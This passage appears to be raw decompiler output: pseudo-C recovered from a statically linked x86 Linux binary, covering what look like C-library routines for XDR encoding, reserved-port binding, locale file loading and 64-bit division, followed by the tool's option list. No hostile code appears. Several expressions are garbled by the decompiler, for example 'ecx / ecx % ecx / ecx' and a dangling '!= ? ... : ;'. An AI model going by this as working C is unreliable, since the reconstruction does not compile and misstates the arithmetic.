 *	Save regs size: 8
 */

L0806670E(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    eax = L080666E8(A8, Ac) != 0 && L08067248(A8, Ac + 68, 72, 0x8066710) != 0 ? 1 : 0;
}

/*	Procedure: 0x08066753 - 0x08066796
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 8
 */

L08066753(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    eax = L08064F10(A8, Ac) != 0 && L08067248(A8, Ac + 4, 72, 0x8066710) != 0 ? 1 : 0;
}

/*	Procedure: 0x08066797 - 0x08066797
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08066797()
{



}

/*	Procedure: 0x08066798 - 0x080667BD
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L08066798(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    if(L0806510C(A8, Ac) != 0) {
        return(1);
    }
    esp = ebp;
    return(0);
}

/*	Procedure: 0x080667BE - 0x080667BF
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080667BE()
{



}

/*	Procedure: 0x080667C0 - 0x080667FE
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 8
 */

L080667C0(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    eax = L08065120(A8, Ac, 4) != 0 && L08065120(A8, Ac + 4, 2) != 0 ? 1 : 0;
}

/*	Procedure: 0x080667FF - 0x08066855
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 8
 */

L080667FF(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    if(L08066798(A8, Ac) != 0) {
        eax = *Ac;
        if(eax == 1) {
            goto L08066834;
        }
        if(eax == 2) {
            eax = L08064F10(A8, Ac + 4);
            goto L0806683e;
L08066834:
            eax = L080667C0(A8, Ac + 4);
L0806683e:
            if(eax != 0) {
                goto L08066848;
            }
        }
    }
    eax = 0;
    goto L0806684d;
L08066848:
    eax = 1;
L0806684d:
}

/*	Procedure: 0x08066856 - 0x080668AA
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 8
 */

L08066856(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    eax = L08066464(A8, Ac) != 0 && L080667C0(A8, Ac + 260) != 0 && L08064FBC(A8, Ac + 268) != 0 ? 1 : 0;
}

/*	Procedure: 0x080668AB - 0x080669FC
 *	Argument size: 8
 *	Local size: 32
 *	Save regs size: 12
 */

L080668AB(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffffe0;
	/* unknown */ void  Vffffffe4;
	/* unknown */ void  Vffffffe8;
	/* unknown */ void  Vffffffec;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    L0806626C( & Vffffffe8, 24);
    Vffffffe0 = ebx;
    do {
        if(L080666A0(A8, Vffffffe0) == 0) {
            goto L080668df;
        }
        if(Vffffffe8 == 0) {
            goto L08066905;
        }
        ecx = Vffffffec;
        Vffffffe4 = ecx;
        if(ecx != 1) {
            goto L08066923;
        }
        edi = L0805BD74(Vfffffff4 + 1);
        L08056480(Vfffffff0, edi, Vfffffff4);
        *(Vfffffff4 + edi) = 0;
        ebx = L0805BD74(Vfffffffc + 1);
        L08056480(Vfffffff8, ebx, Vfffffffc);
        *(Vfffffffc + ebx) = 0;
        (save)Vffffffe0;
        (save)0x80666a0;
        L08064E74();
        (save) *L0807EB8C;
        (save)Vfffffffc;
        (save)ebx;
        (save)Vfffffff4;
        (save)edi;
        (save)Vffffffe4;
        esi = *( *L0807EB90)();
        *Ac = Vffffffe4;
        esp = esp + 32;
        L0805C290(edi);
        L0805C290(ebx);
    } while(esi == 0);
    goto L080669c6;
L080668df:
    (save)Vffffffe0;
    (save)0x80666a0;
    L08064E74();
    *Ac = -6;
    eax = 0;
    goto L080669f3;
L08066905:
    (save)Vffffffe0;
    (save)0x80666a0;
    L08064E74();
    eax = 0;
    goto L080669f3;
L08066923:
    if(ecx != 2) {
        goto L080669d8;
L080669c6:
    } else {
        (save)Vffffffe0;
        (save)0x80666a0;
        L08064E74();
        goto L080669ee;
L080669d8:
        (save)Vffffffe0;
        (save)0x80666a0;
        L08064E74();
        *Ac = Vffffffe4;
    }
L080669ee:
    eax = 1;
L080669f3:
    esp = ebp - 44;
}

/*	Procedure: 0x080669FD - 0x08066A25
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L080669FD(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    if(L08065120(A8, Ac, 4) != 0) {
        return(1);
    }
    esp = ebp;
    return(0);
}

/*	Procedure: 0x08066A26 - 0x08066A4D
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L08066A26(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    if(L0806510C(A8, Ac) != 0) {
        return(1);
    }
    esp = ebp;
    return(0);
}

/*	Procedure: 0x08066A4E - 0x08066A4F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08066A4E()
{



}

/*	Procedure: 0x08066A50 - 0x08066B1A
 *	Argument size: 8
 *	Local size: 16
 *	Save regs size: 12
 */

L08066A50(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  Vfffffff0;



    ebx = Ac;
    if(ebx != 0) {
        if(*ebx == 2) {
            goto L08066a94;
        }
        *L08078B14 = 96;
        eax = -1;
    } else {
        ebx = & Vfffffff0;
        L0806626C(ebx, 16);
        Vfffffff0 = 2;
L08066a94:
        if(*L0807E768 == 0) {
            L08057230();
            ecx = 424;
            asm("cdq");
            *L0807E768 = ecx / ecx % ecx / ecx + 600;
        }
        eax = -1;
        *L08078B14 = 98;
        esi = 0;
        do {
            if(*L08078B14 != 98) {
                break;
            }
            ax = *L0807E768;
            *L0807E768 = *L0807E768 + 1;
            asm("xchg al,ah");
            *(ebx + 2) = ax;
            if(*L0807E768 > 1023) {
                *L0807E768 = 600;
            }
            (save)16;
            (save)ebx;
            (save)A8;
            eax = L08056A74();
            esi = esi + 1;
            if(esi > 423) {
                break;
            }
        } while(eax < 0);
    }
    esp = ebp - 28;
}

/*	Procedure: 0x08066B1B - 0x08066BC1
 *	Argument size: 4
 *	Local size: 64
 *	Save regs size: 12
 */

L08066B1B(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffffc0;
	/* unknown */ void  Vffffffc8;
	/* unknown */ void  Vffffffd8;



    if(*(A8 + 56) >= 0) {
        eax = *(A8 + 80);
        if(*( *(eax + 140))(A8, & Vffffffc0) >= 0) {
            goto L08066b4c;
        }
    }
    edi = 0;
    goto L08066b65;
L08066b4c:
    edi = 0;
    ebx = Vffffffd8;
    if(ebx == 0) {
L08066b65:
        ebx = 1024;
    }
    edx = L08065CEC(0, ebx, 3, 34, -1, 0);
    if(edx == -1) {
        eax = -1;
    } else {
        L08061B6C(A8, edx, ebx + edx, 1);
        if(edi != 0 && L080672AC( *(A8 + 56)) != 0) {
            *A8 = *A8 | 512;
        }
        eax = 1;
    }
    esp = ebp - 76;
}

/*	Procedure: 0x08066BC2 - 0x08066BFA
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08066BC2()
{



    eax = *L08079288;
    *L08078FA0 = *(eax + 12) + 256;
    *L08078FA8 = *(eax + 24) + 512;
    eax = *(eax + 28) + 512;
    *L08078FA4 = eax;
    return(*L08078FA4);
}

/*	Procedure: 0x08066BFB - 0x08066BFB
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08066BFB()
{



}

/*	Procedure: 0x08066BFC - 0x0806703C
 *	Argument size: 8
 *	Local size: 92
 *	Save regs size: 12
 */

L08066BFC(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffffa4;
	/* unknown */ void  Vffffffa8;
	/* unknown */ void  Vffffffac;
	/* unknown */ void  Vffffffb0;
	/* unknown */ void  Vffffffb4;
	/* unknown */ void  Vffffffb8;
	/* unknown */ void  Vffffffbc;
	/* unknown */ void  Vffffffc0;
	/* unknown */ void  Vffffffc8;
	/* unknown */ void  Vffffffd4;



    ebx = Ac;
    Vffffffbc = 0;
    if(*( *ebx) == 0) {
        eax = L08055668("LC_ALL");
        *ebx = eax;
        if(eax == 0 || *eax == 0) {
            *ebx = L08055668( *(A8 * 4 + 0x806aa34));
        }
        if(*ebx == 0 || *( *ebx) == 0) {
            *ebx = L08055668("LANG");
        }
        if(*ebx == 0) {
            goto L08066c6a;
        }
        if(*( *ebx) == 0) {
L08066c6a:
            *ebx = "local";
        }
    }
    Vffffffac = esp;
    Vffffffb0 = *(A8 * 4 + 0x806aa34);
    Vffffffa4 = *ebx;
    al = 0;
    edi = Vffffffa4;
    asm("cld");
    ecx = -1;
    asm("repne scasb");
    edx = !ecx;
    edi = Vffffffb0;
    asm("cld");
    ecx = -1;
    asm("repne scasb");
    edi = !ecx - 1;
    esp = esp - (edx + edi * 2 + 27 & 252);
    esi = esp;
    (save)47;
    if(L08057970(Vffffffa4) != 0) {
        (save)Vffffffb0;
        sprintf(esi, "%s/%s", *ebx);
    } else {
        (save)Vffffffb0;
        (save) *ebx;
        sprintf(esi, "%s/%s/%s", "/usr/share/locale");
    }
    eax = L080572DC(esi, 0);
    Vffffffb8 = eax;
    if(Vffffffb8 >= 0) {
        (save) & Vffffffc0;
        if(L08065D8C(1, Vffffffb8) < 0) {
            goto L08066d8b;
        }
        if((Vffffffc8 & 61440) != 16384) {
            goto L08066d94;
        }
        close(Vffffffb8);
        (save)"/SYS_";
        (save)0;
        (save)L08057970(esi);
        L0805652C(L08067300(), Vffffffb0, edi + 1);
        (save)0;
        (save)esi;
        eax = L080572DC();
        Vffffffb8 = eax;
        esp = esp + 20;
        if(Vffffffb8 >= 0) {
            (save) & Vffffffc0;
            if(L08065D8C(1, Vffffffb8) < 0) {
L08066d8b:
                esp = *(ebp - 84);
            } else {
L08066d94:
                esp = *(ebp - 84);
                Vffffffa8 = *L08078B14;
                eax = L08065CEC(0, Vffffffd4, 1, 2, Vffffffb8, 0);
                Vffffffb4 = eax;
                if(Vffffffb4 == -1) {
                    if(*L08078B14 != 38) {
                        goto L08066eaf;
                    }
                    eax = L0805BD74(Vffffffd4);
                    Vffffffb4 = eax;
                    if(Vffffffb4 == 0) {
                        goto L08066eaf;
                    }
                    esi = Vffffffd4;
                    edi = Vffffffb4;
                    if(esi > 0) {
                        do {
                            ebx = L0805730C(Vffffffb8, edi, esi);
                            if(ebx <= 0) {
                                goto L08066e08;
                            }
                            edi = edi + ebx;
                            esi = esi - ebx;
                        } while(esi > 0);
                        goto L08066e30;
L08066e08:
                        L0805C290(Vffffffb4);
                        if(ebx != 0) {
                            goto L08066eaf;
                        }
                        *L08078B14 = 22;
                        goto L08066eaf;
                    }
L08066e30:
                    *L08078B14 = Vffffffa8;
                }
                if(*Vffffffb4 == (A8 ^ 85226186)) {
                    Vffffffbc = 0;
                    goto L08066ec0;
L08066e54:
                    L0805C290(ebx);
                    *L08078B14 = 22;
                } else {
                    Vffffffbc = 1;
                    ecx = Vffffffb4;
                    edx = *(ecx + 3) << 24;
                    edx = edx | ( *(ecx + 2) & 255) << 16;
                    edx = edx | ( *(ecx + 1) & 255) << 8;
                    edx = edx | *ecx & 255;
                    if(edx == (A8 ^ 85226186)) {
                        goto L08066ec0;
                    }
                }
L08066e9f:
                L08066154(Vffffffb4, Vffffffd4);
            }
L08066eaf:
            close(Vffffffb8);
        }
    }
    eax = 0;
    goto L08067033;
L08066ec0:
    ebx = Vffffffb4 + 4;
    if(Vffffffbc == 0) {
        eax = *(Vffffffb4 + 4);
    } else {
        edx = *(ebx + 3) << 24;
        edx = edx | ( *(ebx + 2) & 255) << 16;
        edx = edx | ( *(ebx + 1) & 255) << 8;
        eax = *ebx & 255 | edx;
    }
    if(*(A8 * 4 + 0x806bfb0) <= eax) {
        ebx = Vffffffb4 + 4;
        if(Vffffffbc == 0) {
            eax = *(Vffffffb4 + 4);
        } else {
            edx = *(ebx + 3) << 24;
            edx = edx | ( *(ebx + 2) & 255) << 16;
            edx = edx | ( *(ebx + 1) & 255) << 8;
            eax = *ebx & 255 | edx;
        }
        if(Vffffffd4 > eax * 4 + 8) {
            goto L08066f4c;
        }
    }
    *L08078B14 = 22;
    goto L08066e9f;
L08066f4c:
    ebx = Vffffffb4 + 4;
    if(Vffffffbc == 0) {
        eax = *(Vffffffb4 + 4);
    } else {
        edx = *(ebx + 3) << 24;
        edx = edx | ( *(ebx + 2) & 255) << 16;
        edx = edx | ( *(ebx + 1) & 255) << 8;
        eax = *ebx & 255 | edx;
    }
    ebx = L0805BD74(eax * 4 + 12);
    if(ebx == 0) {
        goto L08066e9f;
    }
    ecx = Vffffffb4;
    *ebx = ecx;
    *(ebx + 4) = Vffffffd4;
    esi = Vffffffb4 + 4;
    if(Vffffffbc == 0) {
        eax = *(ecx + 4);
    } else {
        edx = *(esi + 3) << 24;
        edx = edx | ( *(esi + 2) & 255) << 16;
        edx = edx | ( *(esi + 1) & 255) << 8;
        eax = *esi & 255 | edx;
    }
    *(ebx + 8) = eax;
    esi = 0;
    if(0 < eax) {
        edi = 0;
        do {
            ecx = Vffffffb4 + edi + 8;
            Vffffffa4 = ecx;
            if(Vffffffbc != 0) {
                ecx = Vffffffa4;
                edx = *(ecx + 3) << 24;
                edx = edx | ( *(ecx + 2) & 255) << 16;
                edx = edx | ( *(ecx + 1) & 255) << 8;
                eax = *ecx & 255 | edx;
            } else {
                eax = *ecx;
            }
            if(*(ebx + 4) <= eax) {
                goto L08066e54;
            }
            *(ebx + esi * 4 + 12) = eax + *ebx;
            edi = edi + 4;
            esi = esi + 1;
        } while(*(ebx + 8) > esi);
    }
    close(Vffffffb8);
    eax = ebx;
L08067033:
    esp = ebp - 104;
}

/*	Procedure: 0x0806703D - 0x0806703F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0806703D()
{



}

/*	Procedure: 0x08067040 - 0x08067092
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 8
 */

L08067040(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  esi;



    esi = *L08078B14;
    if(A8 != 0 && *A8 != 0) {
        if(L08066154( *A8, *(A8 + 4)) < 0) {
            if(*L08078B14 == 38) {
                L0805C290( *A8);
            }
            *L08078B14 = esi;
        }
        eax = L0805C290(A8);
    }
}

/*	Procedure: 0x08067093 - 0x08067093
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08067093()
{



}

/*	Procedure: 0x08067094 - 0x08067149
 *	Argument size: 0
 *	Local size: 24
 *	Save regs size: 8
 */

L08067094()
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  Vffffffe8;
	/* unknown */ void  Vffffffec;



    ebx = *L0807E76C;
    if(ebx == 0) {
        (save)64;
        ebx = L0805C904(1);
        if(ebx == 0) {
            eax = 0;
            goto L08067141;
        }
        *L0807E76C = ebx;
    }
    if(*(ebx + 60) == 0) {
        *(ebx + 12) = *L08079230;
        *(ebx + 16) = *L08079234;
        *(ebx + 20) = *L08079238;
        *ebx = *(ebx + 12);
        *(ebx + 4) = *(ebx + 16);
        *(ebx + 8) = *(ebx + 20);
        *(ebx + 32) = 0x8079298;
        esi = & Vffffffe8;
        (save)0;
        L08065408(esi, ebx + 40, 20);
        L08064B1C(esi, ebx);
        L08064B1C(esi, ebx + 12);
        *(ebx + 60) = *( *(Vffffffec + 16))(esi);
        eax = Vffffffec;
        if(*(eax + 28) != 0) {
            *( *(eax + 28))(esi);
        }
    }
    eax = ebx;
L08067141:
    esp = ebp - 32;
}

/*	Procedure: 0x0806714A - 0x08067178
 *	Argument size: 0
 *	Local size: 4
 *	Save regs size: 4
 */

L0806714A(Ac)
/* unknown */ void  Ac;
{



    ecx = *L0807E76C;
    if(ecx != 0) {
        edx = *(Ac + 4);
        eax = *( *(edx + 12))(Ac, ecx + 40, *(ecx + 60));
    } else {
        eax = 0;
    }
}

/*	Procedure: 0x08067179 - 0x08067182
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08067179()
{



}

/*	Procedure: 0x08067183 - 0x0806718F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08067183()
{



    return(1);
}

/*	Procedure: 0x08067190 - 0x08067198
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08067190()
{



    return(0);
}

/*	Procedure: 0x08067199 - 0x080671A2
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08067199()
{



}

/*	Procedure: 0x080671A3 - 0x080671A3
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080671A3()
{



}

/*	Procedure: 0x080671A4 - 0x08067247
 *	Argument size: 16
 *	Local size: 0
 *	Save regs size: 12
 */

L080671A4(A8, Ac, A10, A14)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;



    esi = A10;
    ebx = *Ac;
    L0805E954();
    if(ebx == 0) {
        eax = *A8;
        if(eax == 1) {
            goto L080671d4;
        }
        if(eax == 2) {
            eax = 1;
            goto L0806723e;
L080671d4:
            ebx = L0805BD74(esi);
            *Ac = ebx;
            if(ebx == 0) {
                (save)"out of memory";
                L0804F680(0x80787a4, "xdr_reference: %s\n", L0805E584( *L08078F9C, 10, 1));
                eax = 0;
                goto L0806723e;
            }
            L0806626C(ebx, esi);
        }
    }
    esi = *A14(A8, ebx, -1);
    if(*A8 == 2) {
        L0805C290(ebx);
        *Ac = 0;
    }
    eax = esi;
L0806723e:
}

/*	Procedure: 0x08067248 - 0x080672A8
 *	Argument size: 16
 *	Local size: 4
 *	Save regs size: 12
 */

L08067248(A8, Ac, A10, A14)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
{
	/* unknown */ void  Vfffffffc;



    Vfffffffc = 0;
    if(L08065098(A8, & Vfffffffc) == 0) {
        eax = 0;
    } else {
        if(Vfffffffc != 0) {
            eax = L080671A4(A8, Ac, A10, A14);
        } else {
            *Ac = 0;
            eax = 1;
        }
    }
    esp = ebp - 16;
}

/*	Procedure: 0x080672A9 - 0x080672AB
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080672A9()
{



}

/*	Procedure: 0x080672AC - 0x080672DC
 *	Argument size: -36
 *	Local size: 40
 *	Save regs size: 4
 */

L080672AC(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;
	/* unknown */ void  Vffffffdc;



    ebx = *L08078B14;
    eax = L080672E0(A8, & Vffffffdc);
    *L08078B14 = ebx;
    return(0);
}

/*	Procedure: 0x080672DD - 0x080672DF
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080672DD()
{



}

/*	Procedure: 0x080672E0 - 0x080672F8
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L080672E0(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    return(L08057280(A8, 21505, Ac));
}

/*	Procedure: 0x080672F9 - 0x080672FF
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080672F9()
{



}

/*	Procedure: 0x08067300 - 0x08067343
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L08067300(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    ecx = Ac - A8;
    eax = A8 - 4;
    do {
        eax = eax + 4;
        dl = *(eax + ecx);
        *eax = dl;
        if(*eax == 0) {
            goto L08067340;
        }
        dl = *(eax + ecx + 1);
        *(eax + 1) = dl;
        if(*(eax + 1) == 0) {
            goto L0806733f;
        }
        dl = *(eax + ecx + 2);
        *(eax + 2) = dl;
        if(*(eax + 2) == 0) {
            goto L0806733e;
        }
        dl = *(eax + ecx + 3);
        *(eax + 3) = dl;
    } while(*(eax + 3) != 0);
    eax = eax + 1;
L0806733e:
    eax = eax + 1;
L0806733f:
    eax = eax + 1;
L08067340:
}

/*	Procedure: 0x08067344 - 0x0806744B
 *	Argument size: 16
 *	Local size: 36
 *	Save regs size: 12
 */

L08067344(A8, Ac, A10, A14)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffffdc;
	/* unknown */ void  Vffffffe4;
	/* unknown */ void  Vffffffe8;
	/* unknown */ void  Vffffffec;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    eax = A10;
    Vffffffe4 = eax;
    edi = A14;
    Vfffffffc = A8;
    ebx = Ac;
    if(edi == 0) {
        if(eax > ebx) {
            edx = ebx;
            Vffffffe4 = Vffffffe4 / Vffffffe4;
            edx = Vffffffe4 % Vffffffe4;
            edi = Vfffffffc;
            goto L08067434;
        }
        if(Vffffffe4 == 0) {
            edx = 0;
            Vffffffe4 = Vffffffe4 / Vffffffe4;
            edx = Vffffffe4 % Vffffffe4;
            Vffffffe4 = 1;
        }
        eax = ebx;
        edx = 0;
        Vffffffe4 = Vffffffe4 / Vffffffe4;
        ebx = Vffffffe4 % Vffffffe4;
        esi = eax;
        Vffffffe4 = Vffffffe4 / Vffffffe4;
        edx = Vffffffe4 % Vffffffe4;
        edi = Vfffffffc;
    } else {
        if(edi > ebx) {
L080673ac:
            edi = 0;
        } else {
            asm("bsr edx,edi");
            dl = dl ^ 31;
            Vffffffdc = edx;
            if(Vffffffdc == 0) {
                if(ebx <= edi && Vfffffffc < Vffffffe4) {
                    goto L080673ac;
                }
                edi = 1;
            } else {
                esi = 32 - Vffffffdc;
                ecx = Vffffffdc;
                edi = edi << cl;
                Vfffffff8 = edi;
                ecx = esi;
                edi = Vfffffff8 | Vffffffe4 >> cl;
                ecx = Vffffffdc;
                Vffffffe4 = Vffffffe4 << cl;
                eax = ebx;
                ecx = esi;
                Vfffffff4 = eax >> cl;
                ecx = Vffffffdc;
                ebx = ebx << cl;
                Vfffffff0 = ebx;
                ecx = esi;
                ebx = Vfffffff0 | Vfffffffc >> cl;
                Vfffffffc = Vfffffffc << Vffffffdc;
                eax = ebx;
                edx = Vfffffff4;
                edx = edi / edi % edi / edi;
                ebx = edx;
                edi = eax;
                eax = Vffffffe4;
                asm("mul edi");
                Vffffffdc = edx;
                esi = eax;
                if(edx > ebx) {
                    goto L08067433;
                }
                != ? 0x8067434 : ;
                if(Vfffffffc < esi) {
L08067433:
                    edi = edi - 1;
                }
            }
        }
L08067434:
        esi = 0;
    }
    Vffffffe8 = edi;
    Vffffffec = esi;
    edx = Vffffffec;
    esp = ebp - 48;
    return(Vffffffe8);
}

/*	Procedure: 0x0806744C - 0x080675A7
 *	Argument size: 16
 *	Local size: 40
 *	Save regs size: 12
 */

L0806744C(A8, Ac, A10, A14)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffffd8;
	/* unknown */ void  Vffffffdc;
	/* unknown */ void  Vffffffe0;
	/* unknown */ void  Vffffffe4;
	/* unknown */ void  Vffffffe8;
	/* unknown */ void  Vffffffec;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    edi = A10;
    ebx = A14;
    esi = A8;
    eax = Ac;
    Vffffffe0 = eax;
    if(ebx == 0) {
        if(edi > eax) {
            eax = esi;
            edx = Vffffffe0;
            edx = edi / edi % edi / edi;
        } else {
            if(edi == 0) {
                edx = 0;
                edx = edi / edi % edi / edi;
                edi = 1;
            }
            eax = Vffffffe0;
            edx = 0;
            edi = edi / edi;
            Vffffffe0 = edi % edi;
            eax = esi;
            edx = edi / edi % edi / edi;
        }
        Vfffffff0 = edx;
        Vfffffff4 = 0;
    } else {
        if(Vffffffe0 >= ebx) {
            asm("bsr edx,ebx");
            dl = dl ^ 31;
            Vffffffec = edx;
            if(Vffffffec != 0) {
                goto L080674e8;
            }
            if(Vffffffe0 > ebx) {
                goto L080674c3;
            }
            if(esi >= edi) {
L080674c3:
                edx = Vffffffe0;
                esi = esi - edi;
                asm("sbb edx,ebx");
                Vffffffe0 = edx;
            }
        }
        Vfffffff0 = esi;
        Vfffffff4 = Vffffffe0;
        Vfffffff8 = Vfffffff0;
        Vfffffffc = Vfffffff4;
        goto L08067598;
L080674e8:
        edx = 32 - Vffffffec;
        Vffffffe8 = edx;
        ecx = Vffffffec;
        ebx = ebx << cl;
        Vffffffd8 = ebx;
        eax = edi;
        ecx = edx;
        ebx = Vffffffd8 | eax >> cl;
        ecx = Vffffffec;
        edi = edi << cl;
        ecx = edx;
        Vffffffe4 = Vffffffe0 >> cl;
        ecx = Vffffffec;
        Vffffffd8 = Vffffffe0 << cl;
        eax = esi;
        ecx = edx;
        eax = eax >> cl;
        Vffffffe0 = Vffffffd8 | eax;
        ecx = Vffffffec;
        esi = esi << cl;
        eax = Vffffffe0;
        edx = Vffffffe4;
        edx = ebx / ebx % ebx / ebx;
        Vffffffe0 = edx;
        Vffffffd8 = eax;
        asm("mul edi");
        Vffffffdc = edx;
        Vffffffd8 = eax;
        if(edx <= Vffffffe0) {
            != ? 0x8067563 : ;
            if(eax <= esi) {
                goto L08067563;
            }
        }
        eax = Vffffffdc;
        edx = Vffffffd8 - edi;
        asm("sbb eax,ebx");
        Vffffffd8 = edx;
        Vffffffdc = eax;
L08067563:
        ecx = Vffffffe0;
        esi = esi - Vffffffd8;
        asm("sbb ecx,[ebp-0x24]");
        Vffffffe0 = ecx;
        ecx = Vffffffe8;
        eax = Vffffffe0 << cl;
        ecx = Vffffffec;
        esi = esi >> cl;
        Vffffffdc = esi;
        Vfffffff0 = eax | Vffffffdc;
        Vfffffff4 = Vffffffe0 >> cl;
    }
    Vfffffff8 = Vfffffff0;
    Vfffffffc = Vfffffff4;
L08067598:
    edx = Vfffffffc;
    esp = ebp - 52;
    return(Vfffffff8);
}

/*	Procedure: 0x080675A8 - 0x080675C5
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 4
 */

L080675A8()
{
	/* unknown */ void  ebx;



    ebx = 134714028;
    if(*L080792AC != -1) {
        do {
            eax = *( *ebx)();
            ebx = ebx + -4;
        } while(*ebx != -1);
    }
}

/*	Procedure: 0x080675C6 - 0x080675C8
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080675C6()
{



}

/*	Procedure: 0x080675C9 - 0x080675CB
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080675C9()
{



}

/*	Procedure: 0x080675D8 - 0x00000000
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080675D8()
{



}

/* address  size  */
/* 0x08048090       0 */ /* unknown */ void 	__entry_point__;
#if 0 /* auxiliary information */
# Current option values:
option: +asmflush
option: -compactcalls
option: +compactexprs
option: +compactifs
option: +compset
option: -dfoproc
option: -disasmonly
option: -displaylabels
option: +doblocks
option: +docase
option: +dofor
option: +doifs
option: +dointrinsics
option: +doloops
option: +donullgotos
option: +dopackloops
option: +dopackstmt
option: +doremlabs
option: +dosimplify
option: -dosort
option: +dostmts
option: +doswitch
option: +dowhile
option: -dumpaddrs
option: -dumpcall
option: -dumpcomments
option: -dumpdfo
option: +dumpdoms
option: -dumpsblocks
option: -dumpsets
option: -dumpsizes
option: -dumpstmtid
option: +fatcase
option: -flag16
option: +fullscreen
option: -genpattern
option: -help
option: -hexconst
option: -html
option: +insertlabels
option: -int16
option: +int32
option: -interactive
option: -isvb5
option: +locals
option: -nohtmltabs
option: -nostackoffs
option: -objdump
option: -okclone
option: -outprocs
option: -outrefs
option: -overrule
option: +rdonly
option: -showblocks
option: -showjump
option: -showlabel
option: -showprotosym
option: -showreg
option: -showstring
option: -silent
option: +simplifyexprs
option: -stackalign16
option: -stackalign4
option: -stackalign8
option: -strallregions
option: -traceall
option: -tracesets
option: +types
option: -usesymtab
option: -validatebr
option: -validatereg
option: +validatestr
#endif
